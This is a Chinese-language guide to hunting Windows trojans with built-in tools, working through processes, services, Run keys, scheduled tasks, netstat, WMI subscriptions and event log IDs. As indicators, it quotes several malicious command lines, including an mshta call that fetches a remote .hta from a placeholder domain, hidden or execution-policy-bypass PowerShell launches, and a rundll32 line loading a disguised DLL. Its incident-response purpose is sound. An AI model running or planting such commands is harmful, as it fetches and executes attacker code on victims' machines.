ARTICLE DETAIL

资讯详情

深耕网站建设与运营推广的一线实战洞察。

Windows木马排查指南:从进程到持久化后门,用自带工具揪出元凶

Windows木马排查指南:从进程到持久化后门,用自带工具揪出元凶 Windows中招木马后最让人恼火的不是弹窗和卡顿而是那种“明明杀软报了毒但你根本不知道它从哪里跑起来、下次开机还会不会出来”的失控感。很多人一急就重装系统但装完没多久又中招就是因为没搞清楚木马是怎么驻留、怎么启动、怎么和外网通信的。这篇教程不依赖任何第三方扫描器全程用 Windows 自带工具和几条命令把进程、服务、启动项、计划任务、端口、日志六个排查面挨个过一遍手把手带你把木马的后路一条条掐断。这套流程适合三类人一是被流氓软件和挖矿木马折腾够呛的普通用户二是刚接触安全应急的运维或开发三是需要给客户做排查报告但又不想总靠重装糊弄过去的乙方工程师。内容全部基于我实际排查中验过的手法不绕弯子直接按照“先找活动实体、再揪持久化机制、最后翻通信和日志证据”的顺序展开。1. 排查顺序为什么这么排先抓活的再挖老窝很多新手一上来就打开事件查看器翻日志翻半天眼睛花了也看不出名堂。我的习惯刚好相反——先看内存里当前正在跑的进程再看服务和启动项然后才是计划任务、端口和日志。这个顺序的核心逻辑是木马无论伪装得多好只要它此刻在运行就一定会在进程列表、网络连接或文件句柄上留下痕迹而这些痕迹是实时的、必然存在的日志反而是“过去时”没有经验的话很难从中挑出真正有用的记录。先查进程还有一个实际好处能立刻缓解问题。比如 CPU 被某个陌生进程占满、网卡被不明程序偷偷上传数据通过进程排查能最快锁定罪魁祸首先把它结束掉或挂起止损之后再慢慢深挖持久化机制。如果一上来就翻日志等你找到线索系统可能已经被对方掏空了。也就是说进程排查的目标是“止血”服务和启动项的排查目标才是“断根”两者缺一不可。另一个容易忽视的原因是排查成本。进程、服务、启动项、端口这几项用任务管理器和几条命令就能查完全程不依赖 GUI 软件即便系统已经卡到鼠标飘移进了安全模式用命令行一样能干完八成活。日志排查则费眼费时适合放在最后做时间线还原时用。所以下面按这个顺序来每一步都给出可落地的操作和判断依据。2. 进程排查实操任务管理器和命令行双管齐下2.1 先用任务管理器给进程列表“排个雷”按 Ctrl Shift Esc 调出任务管理器点“详细信息”页签先把列表按 CPU 和内存排个序看谁占用异常。这里我建议你养成一个习惯不仅看占用第一名的进程还要关注那些名字正常但路径不对劲的进程。木马最喜欢干的事就是起个 svchost.exe、explorer.exe、winlogon.exe 这种系统进程的名字往列表里混。怎么识别伪装的系统进程看“PID”那列右键选择“打开文件所在的位置”Windows 自己的系统进程路径一定在 C:\Windows\System32 或 C:\Windows\SysWOW64 这类系统目录下。如果路径指向 C:\Users\你的用户名\AppData\ 下面、C:\ProgramData 或者某个临时目录那基本不用犹豫了。另外一个细节是看“签名”列右键列标题把“签名”调出来微软自家进程基本都带 Microsoft Windows 的数字签名没有签名或签名者是随手编的厂商名就要重点留意。再补充一个技巧任务管理器里右键进程选择“转到详细信息”会连带把它的 PID 高亮出来这对后面用 netstat 反查端口对应的进程非常方便。排查阶段我一般不开“性能”页签因为木马未必吃满 CPU很多盗号木马只占几 MB 内存看起来毫不起眼但网络连接却非常活跃所以进程排查必须跟端口排查搭配做。2.2 命令行三件套tasklist、wmic、PowerShell任务管理器做不到的事命令行来补。第一件事是查看每个进程对应的可执行文件全路径先把命令提示符管理员权限打开运行wmic process get name,processid,executablepath,commandline这条命令会把所有进程的名字、PID、程序路径、启动命令行全部列出来。重点看 commandline 字段——正常的程序启动命令行都很简短比如 C:\Windows\Explorer.EXE 后面没什么参数但木马进程经常会带一段诡异的参数比如用 PowerShell 执行一串 base64 编码、rundll32.exe 后面跟一个奇怪的 dll 文件名、mshta.exe 带一个远程 url。这些组合几乎是安全圈公认的恶意启动特征碰到了基本可以直接定义为主观恶意。PowerShell 的等价写法是这样Get-CimInstance Win32_Process | Select-Object Name, ProcessId, ExecutablePath, CommandLine | Format-List如果你觉得输出太长也可以先按进程名过滤一下Get-Process -Name svchost -ErrorAction SilentlyContinue | Select-Object Id, Path注意用 Get-Process 看到的 Path 列是主程序路径有的进程会显示“访问被拒绝”那多半是权限不够或者进程本身做了防护把命令行窗口用管理员身份重开再试。2.3 怎么判断一个进程到底可不可疑我自己总结了一个三段式判断法分享出来供你参考。第一看路径不在系统目录、不在正常的 Program Files 安装目录、而是出现在临时目录、用户目录、回收站目录、Downloads 下的都算高危。第二看签名右键进程文件查看属性里的数字签名有合法签名不代表绝对安全有些木马会用盗来的签名或者本身就是正规软件带恶意行为但至少能排除相当一批伪装品。第三看父子关系正常进程都有清晰的父子链比如资源管理器启动浏览器、服务管理器启动服务进程如果看到一个系统进程下面挂了个来路不明的子进程那基本是注入或劫持了。有一个坑必须提醒不要一发现可疑进程就急着“结束任务”。很多木马做了父进程保护你杀了子进程父进程会马上拉一个新的起来。正确做法是先记录 PID、进程名、完整路径然后到服务、计划任务、启动项里找到对应的自启动项并把自启动项禁用了再去结束进程这样才不会陷入“杀完又复活”的死循环。判断维度正常表现高危表现进程路径系统目录或安装目录AppData、Temp、ProgramData数字签名Microsoft Windows 或知名厂商无签名、随机公司名启动命令行简洁无参数带 PowerShell/rundll32 远程参数父子进程符合正常逻辑系统进程下挂陌生子进程CPU/内存空闲时基本低占用持续高占用或波动异常3. 服务和启动项排查木马最爱的持久化老窝3.1 services.msc 里的“李鬼”服务一眼看穿进程查完接下来必须查服务因为绝大多数有点技术的木马都会把自己注册成 Windows 服务来实现开机自启、掉线重启。按 Win R 输入 services.msc 打开服务管理器先别急着点任何服务按“启动类型”排序重点盯“自动”那一批。木马注册的服务一般叫什么常见套路是和系统服务名长相酷似比如把 SysMain 写成 SysMainc、把 WSearch 写成 WSearchSvc或者干脆用一串毫无意义的字母组合比如 wxpntfs、kmsvc 这种读起来都别扭的名字。看到可疑服务右键属性第一看“可执行文件的路径”第二看“启动类型”第三看“登录身份”。正常情况下系统服务的路径都在 System32 下账户通常是 Local System 或 Network Service。如果路径指向 C:\Windows\Temp、C:\Users\xxx\AppData 或者某个奇怪的安装目录登录身份又是 Administrator 甚至当前用户这个服务就很有问题。再点开“依存关系”看有没有其他服务和它绑定有些木马会挂靠在一个正常服务下你直接禁用可疑服务可能会把正常服务也拖下水得先记录依存关系再动手。命令行查服务信息也有快捷方式用 sc 命令可以精确查看指定服务的配置sc qc 服务名 sc query 服务名第一条输出服务的二进制路径名和启动类型第二条输出服务当前的运行状态。把可疑服务名替换进去比在 GUI 里点来点去效率高很多尤其适合批量排查几十台机器的时候。3.2 注册表启动项和 Startup 文件夹老木马的家如果你的电脑只是偶尔开个网页、弹个广告没有明显的 CPU 异常那木马很可能藏在启动项里。启动项排查的核心是这几个位置建议逐个打开看HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunHKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run64 位系统上 32 位程序HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run启动文件夹%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup按 Win R 输入 regedit 打开注册表编辑器依次到上面这些路径看每一项右边的“数据”字段。正常的启动项要么是软件明确显示名称要么是带厂商签名的路径如果看到一行 base64 字符串、powershell -w hidden -c 这种带隐蔽参数的启动命令或者路径里含随机命名文件夹高度可疑。我处理过一个案例木马在 Run 键里写的是rundll32.exe C:\ProgramData\kb2533623.dat,Start.dat 文件其实是 dll 格式名字伪装成安全补丁注册表里看起来像微软更新实际一跑就是一匹木马。顺手补充一个知识点有些木马不写 Run 键而是用“映像劫持”或“AppInit_DLLs”这类注册表位置加载自己但新手不必一上来就钻到这些偏门位置。先把常规 Run 键和启动文件夹清一遍再结合服务排查的结果足以应付 80% 的持久化木马。3.3 禁用比删除安全先用 Autoruns 思路去“摘除”很多教程让人直接删掉可疑服务的注册表项我个人的实操心得是先禁用别急着删。理由很实际——你在排查时可能看走眼万一那个服务是某个正版软件的组成部分删错以后软件全家失灵补起来反而麻烦。禁用之后重启电脑观察一两天确认木马不再复发、也没有别的正常功能挂掉再回头删除注册表项。具体禁用的操作命令行也很简单sc config 服务名 start disabled sc stop 服务名注册表启动项则在 regedit 里右键“修改”把数据留空或者直接导出备份到桌面留存然后再删除。我一般习惯先右键导出 .reg 文件备份因为有些木马的服务名称和路径是一次性的删完了如果再想研究分析样本都没有参考。备份不过几 KB 大小留着不碍事。如果机器数量多手动点注册表太累可以下载微软官方签名的 Autoruns 工具它会把所有自启动位置启动项、服务、计划任务、驱动、Shell 扩展全部聚合到一个界面还自带“隐藏 Microsoft 条目”的过滤功能勾选后列表里剩下的基本就是用户侧的可疑项。Autoruns 只负责查看和禁用不做删除配合上面的备份习惯非常稳妥。唯一的门槛是它需要用管理员权限运行以及第一次打开时内容极多别被吓到按“Hide Signed Microsoft Entries”过滤后就清爽多了。4. 计划任务和端口排查揪出定时后门和外联通道4.1 计划任务木马的“闹钟后门”服务管开机启动计划任务管的是“定时跑一下”。很多挖掘插件、下载器木马都注册了计划任务每隔几分钟连一次服务器、拉新指令、或者单纯做心跳保活。你杀进程不查计划任务的话过几分钟它又自己跑起来这就解释了为什么很多人“杀毒之后过几天又复发”。打开方式Win R 输入 taskschd.msc 打开任务计划程序切到“任务计划程序库”在右侧的列表里按“触发时间”排序。重点关注两种一种是触发时间正好是你中招前后几天的另一种是以 SYSTEM 或管理员账户运行、但“操作”里执行的程序路径很陌生。双击某个可疑任务去看“操作”标签页里的程序或脚本是什么路径。正常情况下任务计划应该指向明确的 exe比如 Windows 自己的维护任务都指向 C:\Windows\System32 下的程序。如果看到任务要运行powershell.exe -ExecutionPolicy Bypass -File C:\Users\xxx\AppData\Roaming\update.ps1或者mshta.exe http://你的外网域名/a.hta这就是非常明确的恶意计划任务了。继续翻“触发器”标签如果设置的是“重复任务间隔 5 分钟、持续时间无期限”那基本等于木马给自己上了一个闹钟到点就找你聊天。命令行列出完整任务信息更直接schtasks /query /fo LIST /v输出会非常长建议先导出到文本文件再查schtasks /query /fo CSV /v C:\tasks.txt导出后用记事本或 Excel 打开直接搜你的用户名、AppData、可疑域名等关键字比在 GUI 里一个个翻快得多。发现恶意任务后先禁用再删除schtasks /change /tn 任务完整路径 /disable schtasks /delete /tn 任务完整路径 /f注意任务名可能带反斜杠的层级路径比如 \Microsoft\Windows\Update\MyTask完整复制过来再操作。4.2 端口排查netstat 看网络连接到底通向哪里进程和服务是“住客”端口是“门”——木马得走门才能把数据递出去。就算前面几项都查出碰到可疑的最后也必须用端口列表确认它和外网的连接关系。管理员命令行下输入netstat -ano这个命令会列出所有 TCP/UDP 连接和监听端口最后一列是对应的 PID。你可能会看到密密麻麻一堆地址先按外部地址筛选。普通用户没有任何监听需求系统只在本地监听少量服务端口比如 135、139、445 等如果你的机器居然在监听某一个高位随机端口比如 48765、59333 这种又查不到它属于哪个已安装的正版软件那基本就是等待指令的木马端口。具体操作建议分三步走。第一步找 ESTABLISHED 状态且外部地址不是你的网关或已知服务器 IP 的连接记录 PID第二步用下面的命令反查这个 PID 对应什么进程tasklist /fi pid eq 4568第三步如果反查出可疑进程再用 2.x 小节里的方法核对路径和签名。我常用的组合是同时开两个窗口一个跑netstat -ano反复刷新另一个跑 tasklist 查 PID左右对照排查速度很快。netstat 里最需要理解的一个点是状态栏。LISTENING 表示某个程序开了一个端口等别人连这通常说明电脑里有服务型木马ESTABLISHED 表示当前已经有一条通信连接多半是木马正在和 C2 服务器交换数据或上传文件TIME_WAIT 是正常关闭后的残留状态问题不大。如果某个 PID 的进程已经消失但连接还在也别慌先用tasklist /fi确认进程是否真的结束很多时候只是进程名字变了、PID 被复用了。关于“端口被占”这个高频问题也顺带说一句。很多人问“80 端口被占怎么办”注意0.0.0.0:80被监听不代表外网有人连着你的 80 端口它只是说明本机某个程序在监听所有网卡的 80 端口专门等别人来连接。如果你不需要对外提供网站服务直接通过 netstat 找到监听该端口的 PID再结束对应进程即可。多数情况下你根本不需要“关闭端口”这种操作只要让占用端口的程序不再运行端口自然就释放了。4.3 用资源监视器和 PowerShell 补充网络细节netstat 够用但不直观如果你习惯图形化操作打开任务管理器切“性能”页签底部有一个“打开资源监视器”点进去切到“网络”页签下面就有“侦听端口”列表。它比 netstat 强的地方在于直接给你显示每个监听端口对应的进程名称和 PID还按流量排序。木马对外疯狂发包的时候你能在“活动的网络连接”里看到某个进程的网络活动量明显异常直接点中它右键结束进程比在 netstat 里对着数字猜名字轻松太多。PowerShell 也能做类似的事而且方便导出Get-NetTCPConnection -State Established | Select-Object LocalPort, RemoteAddress, RemotePort, OwningProcess这条命令把已建立连接的外部 IP 和进程 PID 列出来再配合 Get-Process 查进程名Get-Process -Id 4568 | Select-Object Name, Path把两条命令凑一对你就能快速定位每条可疑对外连接的宿主进程。加一个额外的“外联聚合”思路把 netstat 输出里的外部 IP 收集起来去查一下这些 IP 的归属和开放服务如果对方 IP 正好位于海外机房且开放端口很少只有 80、443、8080 这类 Web 端口那基本可以判断它是木马的指令服务器了。5. 计划任务之外的“隐藏后门”WMI 事件订阅千万别漏上面已经把常规持久化手段讲得差不多但木马还有一种更隐蔽的方式——WMI 事件订阅。它的狡诈之处在于进程列表里看不到常驻进程服务里也没有新服务计划任务更没有注册但它就像设置了“条件触发的闹钟”——系统只要满足某个条件比如开机、用户登录、特定进程启动就自动拉一个 powershell 或脚本起来执行。排查 WMI 事件订阅要用的还是命令行Get-WmiObject -Namespace root\Subscription -Class __EventFilter Get-WmiObject -Namespace root\Subscription -Class __EventConsumer Get-WmiObject -Namespace root\Subscription -Class __FilterToConsumerBinding正常系统上这三条命令的输出应该是空的。如果看到有输出仔细看 Consumer 里的进程路径或脚本命令恶意 WMI 订阅通常会指定执行 powershell.exe、mshta.exe 或 cscript.exe并且传参里带隐藏参数或下载脚本。删除 WMI 订阅比删除计划任务略麻烦不推荐新手直接用命令删先拍照或导出记录然后用专门工具或手动到 WMI 管理控制台里清理步骤相对繁琐但无风险操作原则是一致的——先记录再操作。之所以单开一节讲 WMI是因为近两年的远控木马越来越偏好用 WMI 做持久化很多经验不够的排查人员就是因为漏了这一点导致杀完进程后第二天又出现。你把前面所有步骤做完之后顺手执行这三条命令如果输出为空基本可以放心很多。6. 日志分析和常见问题实录把现场翻个底朝天6.1 事件日志怎么查别瞎翻先看这几个 ID日志是排查的最后一步也是还原整个攻击链条最有力的证据。按 Win R 输入 eventvwr.msc 打开事件查看器重点看两个日志Windows 日志下的“系统”和“安全”。那个庞大的“应用程序”日志也有参考价值但优先看系统和安全。新手最容易犯的错是把所有日志从头到尾翻一遍结果眼睛花了什么也没记住。我的方法是用“创建事件”的专项 ID 去过滤。木马安装服务、创建计划任务、创建用户时系统都会写入对应的事件这些 ID 比任何第三方杀软都可靠事件 ID含义排查价值7045系统安装了一项新服务木马注册服务瞬间必留痕4698创建了计划任务找到创建时间是哪个用户、任务内容4624登录成功排查无碰撞力入侵时必看4625登录失败发现枚举攻击尝试配合来源 IP1033 / 1001Windows Defender 检测到威胁有的木马被杀软拦过但还有残留组件4104PowerShell 脚本块日志如果启用了 PowerShell 日志能直接看到恶意命令全文用事件查看器的“筛选当前日志”功能在“事件 ID”框里输入比如 7045,4698一秒就能把服务器里发生的“服务安装”和“计划任务创建”全捞出来。点开每一条记录看“常规”选项卡里的详细信息是谁创建的、执行的是什么命令。把可疑记录按时间排个序和前面进程、端口排查发现的时间对齐往往能得到一条完整的攻击时间线几点几分木马写入服务、几点几分连上了哪个外网 IP、几点几分开始上传数据。6.2 日志打不开或者没开审计策略怎么办很多人在排查自己电脑时发现安全日志里没有 4624 登录记录那是正常的——Windows 默认并不开启安全审计策略。如果你早就有意识要增强系统审计可以先用管理员运行auditpol /set /subcategory:登录 /success:enable /failure:enable事后才想起来也没关系把“系统”日志里的 7045 和“Microsoft-Windows-PowerShell/Operational”日志翻出来看看这两个不需要额外开启系统默认就会记录。另外如果怀疑机器被远程控制过在“安全”日志里搜索 4624 并且看“登录类型”列——类型 3 是网络登录类型 10 是远程交互登录类型 4 是批处理登录。发现服务器几乎从不在工作时间出现类型 3 或类型 10 的登录却突然出现一条那就可以结合来源 IP 进一步判断了。6.3 几个高频疑难问答和速查表最后整理一份我在实际排查中最常遇到的问题直接照着做就可以。问进程结束了又自己冒出来怎么回事说明存在守护机制或父进程拉活。走一遍服务列表、计划任务、启动项、WMI 订阅把这四处的相关项全部禁掉再杀进程。如果杀完还复活直接在安全模式下再操作一遍——安全模式下大多数自启动项不加载排查环境最干净。问注册表启动项删不掉或被拒绝访问一般是权限问题。右键该项点“权限”把“高级”-“所有者”改成当前账户再把完全控制勾上删除后重启。如果是服务项先保证服务已停止。如果依然提示占据中多半有进程正在运行先在任务管理器结束进程再删。问服务显示“无法停止”或停止后过几秒自动运行这类服务往往是恶意进程内置了守护定时器服务控制管理器停止了它它自己被唤醒前再重新写回。处理顺序是先改启动类型为“禁用”再结束对应进程再删服务注册表项最后重启进入安全模式彻底清理。不要在正常模式里和它拉扯费时间还没意义。问文件被占用无法删除怎么找到占用进程按 Ctrl Shift Esc 打开任务管理器切“性能”页签底部打开“资源监视器”切到“CPU”页签在“关联的句柄”搜索框里输入文件路径就能看到是哪个进程在占用这个文件。找到后先结束进程再删除文件。命令行党可以用 systeminternal 的 handle 命令同样按文件名搜索 PID。问防火墙入站规则里出现陌生端口怎么办进高级安全 Windows 防火墙看“入站规则”里是否有可疑程序创建的规则。找到后右击删除再把对应进程结束。入站规则本身不危险危险的是它背后的程序——防火墙规则只是木马给自己开的“后门钥匙”。症状优先排查方向处理建议进程反复复活计划任务、服务、WMI 订阅全部禁用后再杀进程开机弹窗、主页被改启动项、浏览器插件清理 Run 键和 Startup 文件夹CPU 持续满载进程占用排序、挖矿路径结束高占用进程并禁用其自启动外联陌生 IPnetstat ESTABLISHED 状态反查 PID 和进程签名端口被不明程序监听netstat LISTENING 状态定位进程并核实是否恶意杀毒后仍复发服务、计划任务、WMI安全模式下全盘排查7. 清理后的加固自查清单排查完、清理完不等于可以高枕无忧了还差最后一道工序。我的习惯是做完上面所有步骤之后再走一遍清单确认没有遗漏。这个清单花不了十分钟但能避免“白忙活一场”的挫败感先重启电脑重启后观察五分钟。五分钟里做三件事再次打开任务管理器确认之前的高危进程没有复活再次运行netstat -ano确认没有新的陌生外联再次运行一次三条 WMI 命令确认订阅列表为空。然后检查一遍系统账户在“计算机管理”-“本地用户和组里”看一眼有没有多出陌生账户木马常通过添加隐藏账户来留后门。最后到 C:\ProgramData、C:\Users\你的用户名\AppData 两个位置按修改时间排序把中招时间点前后出现的新文件过目一遍该删的删、该隔离的隔离。针对安全设置可以顺手做两件低成本但有效的事第一把 RDP 远程桌面默认的 3389 端口改掉或在防火墙里限制远程桌面源 IP——很多勒索和远控攻击就是扫 3389 弹进来的第二给管理员账户设置高强度密码并确保普通用户日常使用时是非管理员账户。这两条不能防住所有木马但能把大部分无差别扫描的野路子挡在门外。我之前处理过一台中了远控木马的服务器清理加加固一共用了不到一小时。事后对方问我用什么杀软扫的我说全程没开杀软就靠 netstat 和任务管理器加注册表一点一点翻出来的。其实安全排查没什么玄学无非是把系统每个角落都当成可能藏东西的地方带着怀疑过一遍。系统是你自己的哪里有新文件、哪条启动项不该存在、哪条外连 IP 从没见过——这些“常识感”比任何工具都值钱。
返回列表